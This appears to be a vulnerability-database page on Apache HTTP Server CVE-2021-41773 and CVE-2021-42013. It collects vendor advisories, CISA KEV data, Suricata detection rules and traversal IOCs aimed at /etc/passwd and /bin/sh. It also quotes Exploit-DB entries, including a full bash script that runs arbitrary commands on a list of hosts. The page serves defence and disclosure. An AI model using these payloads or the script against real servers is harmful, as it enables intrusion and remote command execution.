CVE-2021-41773
published 2021-10-07CVE-2021-41773: It was found that the fix for CVE-2021-41773 in Apache HTTP Server 2.4.50 was insufficient. An attacker could use a path traversal attack to map URLs to files…
PriorityP198critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
KEVITWEXPLOITRansomwareInitial access
CISA Known Exploited Vulnerabilitydue 2021-11-17
Exploited in the wild
EPSS
99.99%
100.0th percentile
It was found that the fix for CVE-2021-41773 in Apache HTTP Server 2.4.50 was insufficient. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue only affects Apache 2.4.49 and Apache 2.4.50 and not earlier versions.
Affected
16 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| apache | http_server | — | — |
| apache | http_server | — | — |
| apache | httpd | — | — |
| apache_software_foundation | apache_http_server | — | — |
| apache_software_foundation | apache_http_server | — | — |
| debian | apache2 | < apache2 2.4.51-1 (bookworm) | apache2 2.4.51-1 (bookworm) |
| debian | apache2 | < apache2 2.4.50-1 (bookworm) | apache2 2.4.50-1 (bookworm) |
| fedoraproject | fedora | — | — |
| fedoraproject | fedora | — | — |
| msrc | cm1_httpd_2.4.51-1_on_cbl_mariner_1.0 | — | — |
| oracle | instantis_enterprisetrack | — | — |
| oracle | instantis_enterprisetrack | — | — |
| oracle | instantis_enterprisetrack | — | — |
| oracle | jd_edwards_enterpriseone_tools | < 9.2.6.0 | 9.2.6.0 |
| oracle | secure_backup | < 18.1.0.1.0 | 18.1.0.1.0 |
| paloalto | pan-os | — | — |
Detection & IOCsextracted from sources · hover to see the quote
path/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd↗
path/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh↗
bytes↗
.%2e/ (dot-percent-2e-slash path traversal encoding)
bytes↗
%%32%65 (double URL-encoded dot for CVE-2021-42013 bypass)
- →Detect path traversal attempts using the .%2e/ encoding pattern in HTTP request URIs targeting /cgi-bin/ paths, indicative of CVE-2021-41773 exploitation on Apache 2.4.49. ↗
- →Detect double URL-encoded path traversal using %%32%65 in HTTP request URIs, indicative of CVE-2021-42013 exploitation on Apache 2.4.50 (bypass of the insufficient first patch). ↗
- →Alert on HTTP POST requests to /cgi-bin/ paths containing traversal sequences (.%2e or %%32%65) targeting /bin/sh, indicating RCE attempts via mod_cgi. ↗
- →Monitor for outgoing GET requests via cURL to file hosting sites (GitHub, pastebin, etc.) accessing .php files, as this is a post-exploitation indicator associated with Androxgh0st operators leveraging CVE-2021-41773. ↗
- →Flag Apache HTTP Server response headers advertising version 2.4.49 or 2.4.50 (e.g., 'Server: Apache/2.4.49 (Unix)') as these are the exclusively vulnerable versions. ↗
- →Androxgh0st botnet actively scans for CVE-2021-41773 alongside CVE-2017-9841 and CVE-2018-15133; correlate scanning activity across these three CVEs as a combined campaign indicator. ↗
- ·CVE-2021-41773 affects ONLY Apache HTTP Server version 2.4.49. The patch in 2.4.50 was insufficient and introduced CVE-2021-42013; the fully fixed version is 2.4.51. Version checking alone is insufficient to confirm exploitability — configuration must also be assessed. ↗
- ·In a default install of Apache 2.4.49, only the document root and cgi-bin directories are accessible; exploitation is blocked unless the directory directive is misconfigured. ↗
CVSS provenance
nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.04.3MEDIUMAV:N/AC:M/Au:N/C:P/I:N/A:N
osv9.8CRITICAL
vulncheck9.8CRITICAL
cisa9.8CRITICAL
vendor_apache9.8CRITICAL
vendor_debian9.8CRITICAL
vendor_redhat9.8CRITICAL
vendor_cisco7.5HIGH
vendor_msrc7.5HIGH
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-m24x-wx9p-jqmh: It was found that the fix for CVE-2021-41773 in Apache HTTP Server 2
ghsa_unreviewed·2022-05-24·CVSS 9.8
CVE-2021-42013 [CRITICAL] CWE-22 GHSA-m24x-wx9p-jqmh: It was found that the fix for CVE-2021-41773 in Apache HTTP Server 2
It was found that the fix for CVE-2021-41773 in Apache HTTP Server 2.4.50 was insufficient. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue only affects Apache 2.4.49 and Apache 2.4.50 and not earlier versions.
GHSA
GHSA-29h7-gr57-5f8r: A flaw was found in a change made to path normalization in Apache HTTP Server 2
ghsa_unreviewed·2022-05-24
CVE-2021-41773 [HIGH] CWE-22 GHSA-29h7-gr57-5f8r: A flaw was found in a change made to path normalization in Apache HTTP Server 2
A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed. Additionally this flaw could leak the source of interpreted files like CGI scripts. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions.
Project0
The More You Know, The More You Know You Don’t Know - Project Zero
project_zero·2022-04-01
CVE-2016-4654 The More You Know, The More You Know You Don’t Know - Project Zero
A Year in Review of 0-days Used In-the-Wild in 2021
Posted by Maddie Stone, Google Project Zero
This is our third annual year in review of 0-days exploited in-the-wild [2020, 2019]. Each year we’ve looked back at all of the detected and disclosed in-the-wild 0-days as a group and synthesized what we think the trends and takeaways are. The goal of this report is not to detail each individual exploit, but instead to analyze the exploits from the year as a group, looking for trends, gaps, lessons learned, successes, etc. If you’re interested in the analysis of individual exploits, please check out our root cause analysis repository.
We perform and share this analysis in order to make 0-day hard. We want it to be more costly, more resource intensive, and overall more difficult for
OSV
CVE-2021-42013: It was found that the fix for CVE-2021-41773 in Apache HTTP Server 2
osv·2021-10-07·CVSS 9.8
CVE-2021-42013 [CRITICAL] CVE-2021-42013: It was found that the fix for CVE-2021-41773 in Apache HTTP Server 2
It was found that the fix for CVE-2021-41773 in Apache HTTP Server 2.4.50 was insufficient. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue only affects Apache 2.4.49 and Apache 2.4.50 and not earlier versions.
OSV
CVE-2021-41773: A flaw was found in a change made to path normalization in Apache HTTP Server 2
osv·2021-10-05·CVSS 9.8
CVE-2021-41773 [CRITICAL] CVE-2021-41773: A flaw was found in a change made to path normalization in Apache HTTP Server 2
A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions. The fix in Apache HTTP Server 2.4.50 was found to be incomplete, see CVE-2021-42013.
VulnCheck
Apache HTTP Server Path Traversal Vulnerability
vulncheck·2021·CVSS 9.8
CVE-2021-41773 [CRITICAL] CWE-22 Apache HTTP Server Path Traversal Vulnerability
Apache HTTP Server Path Traversal Vulnerability
Apache HTTP Server contains a path traversal vulnerability that allows an attacker to perform remote code execution if files outside directories configured by Alias-like directives are not under default �require all denied� or if CGI scripts are enabled. The original patch issued under this CVE ID is insufficient, please review remediation information under CVE-2021-42013.
Affected: Apache HTTP Server
Required Action: Apply updates per vendor instructions.
Known Ransomware Campaign Use: Known
Exploitation References: https://docs.google.com/spreadsheets/d/1lkNJ0uQwbeC1ZTRrxdtuPLCIl7mlUreoKfSIgajnSyY/edit; https://www.cve.org/CVERecord?id=CVE-2021-41773; https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json;
VulnCheck
Apache HTTP Server Path Traversal Vulnerability
vulncheck·2021·CVSS 9.8
CVE-2021-42013 [CRITICAL] CWE-22 Apache HTTP Server Path Traversal Vulnerability
Apache HTTP Server Path Traversal Vulnerability
Apache HTTP Server contains a path traversal vulnerability that allows an attacker to perform remote code execution if files outside directories configured by Alias-like directives are not under default require all denied or if CGI scripts are enabled. This CVE ID resolves an incomplete patch for CVE-2021-41773.
Affected: Apache HTTP Server
Required Action: Apply updates per vendor instructions.
Known Ransomware Campaign Use: Known
Exploitation References: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; https://unit42.paloaltonetworks.com/network-attacks-trends-august-october-2021/; https://blog.checkpoint.com/security/december-2021s-most-wanted-malware-trickbot-emotet-and-the-log4j-plague/; https://w
Palo Alto
PAN-SA-2024-0008 Informational Bulletin: Impact of OSS CVEs in PAN-OS
vendor_paloalto·2024-09-04·CVSS 6.0
CVE-2010-1622 [MEDIUM] PAN-SA-2024-0008 Informational Bulletin: Impact of OSS CVEs in PAN-OS
PAN-SA-2024-0008 Informational Bulletin: Impact of OSS CVEs in PAN-OS
The Palo Alto Networks Product Security Assurance team has evaluated the following open source software (OSS) CVEs as they relate to PAN-OS software. While PAN-OS software may include the
CVEs: CVE-2010-1622, CVE-2015-7552, CVE-2018-16840, CVE-2019-7639, CVE-2020-17049, CVE-2020-7774, CVE-2021-0131, CVE-2021-0132, CVE-2021-0133, CVE-2021-0134, CVE-2021-4044, CVE-2021-4160, CVE-2021-41773, CVE-2022-1343, CVE-2022-21449, CVE-2022-2274, CVE-2022-22963, CVE-2022-22965, CVE-2022-24697, CVE-2022-32207, CVE-2022-3358, CVE-2022-3996, CVE-2022-40664, CVE-2022-44792, CVE-2022-44793, CVE-2023-1255, CVE-2023-22809, CVE-2023-23919, CVE-2023-3341, CVE-2023-4236, CVE-2023-4863, CVE-2023-51767
Affected products: PAN-OS
Palo Alto
PAN-SA-2024-0008 Informational Bulletin: Impact of OSS CVEs in PAN-OS
vendor_paloalto·2024-09-04·CVSS 6.0
CVE-2022-22965 [MEDIUM] PAN-SA-2024-0008 Informational Bulletin: Impact of OSS CVEs in PAN-OS
PAN-SA-2024-0008 Informational Bulletin: Impact of OSS CVEs in PAN-OS
The Palo Alto Networks Product Security Assurance team has evaluated the following open source software (OSS) CVEs as they relate to PAN-OS software. While PAN-OS software may include the
CVEs: CVE-2010-1622, CVE-2015-7552, CVE-2018-16840, CVE-2019-7639, CVE-2020-17049, CVE-2020-7774, CVE-2021-0131, CVE-2021-0132, CVE-2021-0133, CVE-2021-0134, CVE-2021-4044, CVE-2021-4160, CVE-2021-41773, CVE-2022-1343, CVE-2022-21449, CVE-2022-2274, CVE-2022-22963, CVE-2022-22965, CVE-2022-24697, CVE-2022-32207, CVE-2022-3358, CVE-2022-3996, CVE-2022-40664, CVE-2022-44792, CVE-2022-44793, CVE-2023-1255, CVE-2023-22809, CVE-2023-23919, CVE-2023-3341, CVE-2023-4236, CVE-2023-4863, CVE-2023-51767
Affected products: PAN-OS
CISA
Apache HTTP Server Path Traversal Vulnerability
cisa·2021-11-03·CVSS 9.8
CVE-2021-41773 [CRITICAL] CWE-22 Apache HTTP Server Path Traversal Vulnerability
Vulnerability: Apache HTTP Server Path Traversal Vulnerability
Affected: Apache HTTP Server
Apache HTTP Server contains a path traversal vulnerability that allows an attacker to perform remote code execution if files outside directories configured by Alias-like directives are not under default �require all denied� or if CGI scripts are enabled. The original patch issued under this CVE ID is insufficient, please review remediation information under CVE-2021-42013.
Required Action: Apply updates per vendor instructions.
Notes: https://nvd.nist.gov/vuln/detail/CVE-2021-41773
Remediation Due Date: 2021-11-17
CISA
Apache HTTP Server Path Traversal Vulnerability
cisa·2021-11-03·CVSS 9.8
CVE-2021-42013 [CRITICAL] CWE-22 Apache HTTP Server Path Traversal Vulnerability
Vulnerability: Apache HTTP Server Path Traversal Vulnerability
Affected: Apache HTTP Server
Apache HTTP Server contains a path traversal vulnerability that allows an attacker to perform remote code execution if files outside directories configured by Alias-like directives are not under default require all denied or if CGI scripts are enabled. This CVE ID resolves an incomplete patch for CVE-2021-41773.
Required Action: Apply updates per vendor instructions.
Notes: https://nvd.nist.gov/vuln/detail/CVE-2021-42013
Remediation Due Date: 2021-11-17
Microsoft
Path traversal and file disclosure vulnerability in Apache HTTP Server 2.4.49
vendor_msrc·2021-10-12·CVSS 7.5
CVE-2021-41773 [CRITICAL] CWE-22 Path traversal and file disclosure vulnerability in Apache HTTP Server 2.4.49
Path traversal and file disclosure vulnerability in Apache HTTP Server 2.4.49
FAQ: Is Azure Linux the only Microsoft product that includes this open-source library and is therefore potentially affected by this vulnerability?
One of the main benefits to our customers who choose to use the Azure Linux distro is the commitment to keep it up to date with the most recent and most secure versions of the open source libraries with which the distro is composed. Microsoft is committed to transparency in this work which is why we began publishing CSAF/VEX in October 2025. See this blog post for more information. If impact to additional products is identified, we will update the CVE to reflect this.
Mariner: Mariner
apache: apache
Customer Action Required: Yes
Remediation: CBL-Mariner Releases
Red Hat
httpd: path traversal and remote code execution (incomplete fix of CVE-2021-41773)
vendor_redhat·2021-10-07·CVSS 9.8
CVE-2021-42013 [CRITICAL] CWE-22 httpd: path traversal and remote code execution (incomplete fix of CVE-2021-41773)
httpd: path traversal and remote code execution (incomplete fix of CVE-2021-41773)
It was found that the fix for CVE-2021-41773 in Apache HTTP Server 2.4.50 was insufficient. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue only affects Apache 2.4.49 and Apache 2.4.50 and not earlier versions.
A path traversal and remote code execution flaw was found in Apache HTTP Server 2.4.49 and 2.4.50. A remote attacker could use this flaw to map URLs to files outside the
Cisco
Apache HTTP Server Vulnerabilities: October 2021
vendor_cisco·2021-10-07·CVSS 7.5
CVE-2021-41524 [HIGH] CWE-22 Apache HTTP Server Vulnerabilities: October 2021
Apache HTTP Server Vulnerabilities: October 2021
On October 5, 2021 and October 7, 2021, the Apache Software Foundation released two security announcements for the Apache HTTP Server that disclosed the following vulnerabilities:
CVE-2021-41524: Null Pointer Dereference Vulnerability
CVE-2021-41773: Path Traversal and Remote Code Execution Vulnerability
CVE-2021-42013: Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773)
For descriptions of these vulnerabilities, see the Apache Security Announcement. For additional information, see the Cisco TALOS blog post, Threat Advisory: Apache HTTP Server zero-day vulnerability opens door for attackers.
Cisco investigated its product line and concluded that no Cisco products are affecte
Red Hat
httpd: path traversal and file disclosure vulnerability
vendor_redhat·2021-09-29·CVSS 9.8
CVE-2021-41773 [CRITICAL] CWE-22 httpd: path traversal and file disclosure vulnerability
httpd: path traversal and file disclosure vulnerability
A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions. The fix in Apache HTTP Server 2.4.50 was found to be incomplete, see CVE-2021-42013.
A path transversal flaw was found in Apache 2.4.49. A remote attacker could use this fl
Debian
CVE-2021-42013: apache2 - It was found that the fix for CVE-2021-41773 in Apache HTTP Server 2.4.50 was in...
vendor_debian·2021·CVSS 9.8
CVE-2021-42013 [CRITICAL] CVE-2021-42013: apache2 - It was found that the fix for CVE-2021-41773 in Apache HTTP Server 2.4.50 was in...
It was found that the fix for CVE-2021-41773 in Apache HTTP Server 2.4.50 was insufficient. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue only affects Apache 2.4.49 and Apache 2.4.50 and not earlier versions.
Scope: local
bookworm: resolved (fixed in 2.4.51-1)
bullseye: resolved
forky: resolved (fixed in 2.4.51-1)
sid: resolved (fixed in 2.4.51-1)
trixie: resolved (fixed in 2.4.51-1)
Debian
CVE-2021-41773: apache2 - A flaw was found in a change made to path normalization in Apache HTTP Server 2....
vendor_debian·2021·CVSS 9.8
CVE-2021-41773 [CRITICAL] CVE-2021-41773: apache2 - A flaw was found in a change made to path normalization in Apache HTTP Server 2....
A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions. The fix in Apache HTTP Server 2.4.50 was found to be incomplete, see CVE-2021-42013.
Scope: local
bookworm: resolved (fixed in 2.4.50-1)
bullseye: resolved
forky: resolved (fixed in 2.4.50-1)
sid: resolved (fixed in 2.4.50-1)
trix
Cisco
Apache HTTP Server Vulnerabilities: October 2021
vendor_cisco
CVE-2021-42013 Apache HTTP Server Vulnerabilities: October 2021
CVE-2021-42013: Apache HTTP Server Vulnerabilities: October 2021
On October 5, 2021 and October 7, 2021, the Apache Software Foundation released two security announcements for the Apache HTTP Server that disclosed the following vulnerabilities:
CVE-2021-41524: Null Pointer Dereference Vulnerability
CVE-2021-41773: Path Traversal and Remote Code Execution Vulnerability
CVE-2021-42013: Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773)
For descriptions of these vulnerabilities, see the Apache Security Announcement. For additional information, see the Cisco TALOS blog post, Threat Advisory: Apache HTTP Server zero-day vulnerability opens door for attackers.
Cisco investigated its product line and concluded that no Cisco produc
Cisco
Apache HTTP Server Vulnerabilities: October 2021
vendor_cisco
CVE-2021-41773 Apache HTTP Server Vulnerabilities: October 2021
CVE-2021-41773: Apache HTTP Server Vulnerabilities: October 2021
On October 5, 2021 and October 7, 2021, the Apache Software Foundation released two security announcements for the Apache HTTP Server that disclosed the following vulnerabilities:
CVE-2021-41524: Null Pointer Dereference Vulnerability
CVE-2021-41773: Path Traversal and Remote Code Execution Vulnerability
CVE-2021-42013: Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773)
For descriptions of these vulnerabilities, see the Apache Security Announcement. For additional information, see the Cisco TALOS blog post, Threat Advisory: Apache HTTP Server zero-day vulnerability opens door for attackers.
Cisco investigated its product line and concluded that no Cisco produc
Apache
Apache httpd: CVE-2021-41773
vendor_apache·CVSS 9.8
CVE-2021-41773 [CRITICAL] Apache httpd: CVE-2021-41773
Apache httpd: CVE-2021-41773
It was found that the fix for CVE-2021-41773 in Apache HTTP Server 2.4.50 was insufficient. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue only affects Apache 2.4.49 and Apache 2.4.50 and not earlier versions. Acknowledgements: Reported by Juan Escobar from Dreamlab Technologies Reported by Fernando Muñoz from NULL Life CTF Team Reported by Shungo Kumasaka Reported by Nattapon Jongcharoen Reported to security team 2021-10-06 fixed b
Cisco
Apache HTTP Server Vulnerabilities: October 2021
vendor_cisco
CVE-2021-41524 Apache HTTP Server Vulnerabilities: October 2021
CVE-2021-41524: Apache HTTP Server Vulnerabilities: October 2021
On October 5, 2021 and October 7, 2021, the Apache Software Foundation released two security announcements for the Apache HTTP Server that disclosed the following vulnerabilities:
CVE-2021-41524: Null Pointer Dereference Vulnerability
CVE-2021-41773: Path Traversal and Remote Code Execution Vulnerability
CVE-2021-42013: Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773)
For descriptions of these vulnerabilities, see the Apache Security Announcement. For additional information, see the Cisco TALOS blog post, Threat Advisory: Apache HTTP Server zero-day vulnerability opens door for attackers.
Cisco investigated its product line and concluded that no Cisco produc
Suricata
ET EXPLOIT Apache HTTP Server 2.4.49 - Path Traversal Attempt (CVE-2021-41773) M3
suricata·2021-10-06·CVSS 9.8
CVE-2021-41773 [CRITICAL] ET EXPLOIT Apache HTTP Server 2.4.49 - Path Traversal Attempt (CVE-2021-41773) M3
ET EXPLOIT Apache HTTP Server 2.4.49 - Path Traversal Attempt (CVE-2021-41773) M3
Rule: alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache HTTP Server 2.4.49 - Path Traversal Attempt (CVE-2021-41773) M3"; flow:established,to_server; http.uri.raw; pcre:"/^\/(?:icons|cgi-bin)/"; content:"/.%2e/%2e%2e/.%2e/"; reference:cve,2021-41773; classtype:attempted-admin; sid:2034128; rev:3; metadata:affected_product Apache_HTTP_server, created_at 2021_10_06, cve CVE_2021_41773, deployment Perimeter, deployment Internet, deployment Internal, confidence High, signature_severity Major, tag CISA_KEV, tag Description_Generated_By_Proofpoint_Nexus, updated_at 2024_11_26, mitre_tactic_id TA0007, mitre_tactic_name Discovery, mitre_technique_id T1083, mitre_technique_name File_And_Dire
Suricata
ET EXPLOIT Apache HTTP Server 2.4.49 - Path Traversal Attempt (CVE-2021-41773) M1
suricata·2021-10-05·CVSS 9.8
CVE-2021-41773 [CRITICAL] ET EXPLOIT Apache HTTP Server 2.4.49 - Path Traversal Attempt (CVE-2021-41773) M1
ET EXPLOIT Apache HTTP Server 2.4.49 - Path Traversal Attempt (CVE-2021-41773) M1
Rule: alert http $EXTERNAL_NET any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache HTTP Server 2.4.49 - Path Traversal Attempt (CVE-2021-41773) M1"; flow:established,to_server; http.uri.raw; pcre:"/^\/(?:icons|cgi-bin)/"; content:"/.%2e/%2e%2e/%2e%2e/%2e%2e/"; reference:url,httpd.apache.org/security/vulnerabilities_24.html; reference:url,twitter.com/HackerGautam/status/1445412108863041544; reference:cve,2021-41773; classtype:attempted-admin; sid:2034124; rev:5; metadata:affected_product Apache_HTTP_server, created_at 2021_10_05, cve CVE_2021_41773, deployment Perimeter, deployment Internet, deployment Internal, confidence High, signature_severity Major, tag CISA_KEV, tag Description_Generated_By_Pro
Suricata
ET EXPLOIT Apache HTTP Server 2.4.49 - Path Traversal Attempt (CVE-2021-41773) M2
suricata·2021-10-05·CVSS 9.8
CVE-2021-41773 [CRITICAL] ET EXPLOIT Apache HTTP Server 2.4.49 - Path Traversal Attempt (CVE-2021-41773) M2
ET EXPLOIT Apache HTTP Server 2.4.49 - Path Traversal Attempt (CVE-2021-41773) M2
Rule: alert http $EXTERNAL_NET any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache HTTP Server 2.4.49 - Path Traversal Attempt (CVE-2021-41773) M2"; flow:established,to_server; http.uri.raw; pcre:"/^\/(?:icons|cgi-bin)/"; content:"/.%2e/.%2e/.%2e/.%2e/"; reference:url,httpd.apache.org/security/vulnerabilities_24.html; reference:url,github.com/iilegacyyii/PoC-CVE-2021-41773/blob/main/CVE-2021-41773.py; reference:cve,2021-41773; classtype:attempted-admin; sid:2034125; rev:5; metadata:affected_product Apache_HTTP_server, created_at 2021_10_05, cve CVE_2021_41773, deployment Perimeter, deployment Internet, deployment Internal, confidence High, signature_severity Major, tag CISA_KEV, tag Description_Gene
Suricata
ET INFO Apache HTTP Server 2.4.49 Observed - Vulnerable to CVE-2021-41773
suricata·2021-10-05·CVSS 9.8
CVE-2021-41773 [CRITICAL] ET INFO Apache HTTP Server 2.4.49 Observed - Vulnerable to CVE-2021-41773
ET INFO Apache HTTP Server 2.4.49 Observed - Vulnerable to CVE-2021-41773
Rule: alert http [$HOME_NET,$HTTP_SERVERS] any -> any any (msg:"ET INFO Apache HTTP Server 2.4.49 Observed - Vulnerable to CVE-2021-41773"; flow:established,to_client; http.server; content:"Apache/2.4.49"; reference:url,httpd.apache.org/security/vulnerabilities_24.html; reference:cve,2021-41773; classtype:bad-unknown; sid:2034126; rev:1; metadata:affected_product Apache_HTTP_server, attack_target Web_Server, created_at 2021_10_05, cve CVE_2021_41773, deployment Perimeter, deployment Internet, confidence High, signature_severity Informational, tag CISA_KEV, tag Description_Generated_By_Proofpoint_Nexus, updated_at 2021_10_05;)
Exploit-DB
Apache HTTP Server 2.4.50 - Remote Code Execution (RCE) (3)
exploitdb·2021-11-11·CVSS 9.8
CVE-2021-42013 [CRITICAL] Apache HTTP Server 2.4.50 - Remote Code Execution (RCE) (3)
Apache HTTP Server 2.4.50 - Remote Code Execution (RCE) (3)
---
# Exploit Title: Apache HTTP Server 2.4.50 - Remote Code Execution (RCE) (3)
# Date: 11/11/2021
# Exploit Author: Valentin Lobstein
# Vendor Homepage: https://apache.org/
# Version: Apache 2.4.49/2.4.50 (CGI enabled)
# Tested on: Debian GNU/Linux
# CVE : CVE-2021-41773 / CVE-2021-42013
# Credits : Lucas Schnell
#!/usr/bin/env python3
#coding: utf-8
import os
import re
import sys
import time
import requests
from colorama import Fore,Style
header = '''\033[1;91m
▄▄▄ ██▓███ ▄▄▄ ▄████▄ ██░ ██ ▓█████ ██▀███ ▄████▄ ▓█████
▒████▄ ▓██░ ██▒▒████▄ ▒██▀ ▀█ ▓██░ ██▒▓█ ▀ ▓██ ▒ ██▒▒██▀ ▀█ ▓█ ▀
▒██ ▀█▄ ▓██░ ██▓▒▒██ ▀█▄ ▒▓█ ▄ ▒██▀▀██░▒███ ▓██ ░▄█ ▒▒▓█ ▄ ▒███
░██▄▄▄▄██ ▒██▄█▓▒ ▒░██▄▄▄▄██ ▒▓▓▄ ▄██▒░▓█ ░██ ▒▓█ ▄ ▒██▀▀█▄ ▒▓▓▄ ▄██▒▒▓█ ▄
▓█
Exploit-DB
Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution (RCE)
exploitdb·2021-10-06·CVSS 9.8
CVE-2021-41773 [CRITICAL] Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution (RCE)
Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution (RCE)
---
# Exploit Title: Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution (RCE)
# Date: 10/05/2021
# Exploit Author: Lucas Souza https://lsass.io
# Vendor Homepage: https://apache.org/
# Version: 2.4.49
# Tested on: 2.4.49
# CVE : CVE-2021-41773
# Credits: Ash Daulton and the cPanel Security Team
#!/bin/bash
if [[ $1 == '' ]]; [[ $2 == '' ]]; then
echo Set [TAGET-LIST.TXT] [PATH] [COMMAND]
echo ./PoC.sh targets.txt /etc/passwd
exit
fi
for host in $(cat $1); do
echo $host
curl -s --path-as-is -d "echo Content-Type: text/plain; echo; $3" "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e$2"; done
# PoC.sh targets.txt /etc/passwd
# PoC.sh targets.txt /bin/sh whoami
Metasploit
Apache 2.4.49/2.4.50 Traversal RCE
metasploit·CVSS 9.8
CVE-2021-41773 [CRITICAL] Apache 2.4.49/2.4.50 Traversal RCE
Apache 2.4.49/2.4.50 Traversal RCE
This module exploit an unauthenticated RCE vulnerability which exists in Apache version 2.4.49 (CVE-2021-41773). If files outside of the document root are not protected by 'require all denied' and CGI has been explicitly enabled, it can be used to execute arbitrary commands (Remote Command Execution). This vulnerability has been reintroduced in Apache 2.4.50 fix (CVE-2021-42013).
Nuclei
Apache 2.4.49 - Path Traversal and Remote Code Execution
nuclei·CVSS 9.8
CVE-2021-41773 [CRITICAL] Apache 2.4.49 - Path Traversal and Remote Code Execution
Apache 2.4.49 - Path Traversal and Remote Code Execution
A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed. Additionally, this flaw could leak the source of interpreted files like CGI scripts. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions.
Template:
id: CVE-2021-41773
info:
name: Apache 2.4.49 - Path Traversal and Remote Code Execution
author: daffainfo,666asd
severity: high
description: |
A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An at
Metasploit
Apache 2.4.49/2.4.50 Traversal RCE scanner
metasploit·CVSS 9.8
CVE-2021-41773 [CRITICAL] Apache 2.4.49/2.4.50 Traversal RCE scanner
Apache 2.4.49/2.4.50 Traversal RCE scanner
This module scans for an unauthenticated RCE vulnerability which exists in Apache version 2.4.49 (CVE-2021-41773). If files outside of the document root are not protected by 'require all denied' and CGI has been explicitly enabled, it can be used to execute arbitrary commands (Remote Command Execution). This vulnerability has been reintroduced in Apache 2.4.50 fix (CVE-2021-42013).
Nuclei
Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution
nuclei·CVSS 9.8
CVE-2021-42013 [CRITICAL] Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution
Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution
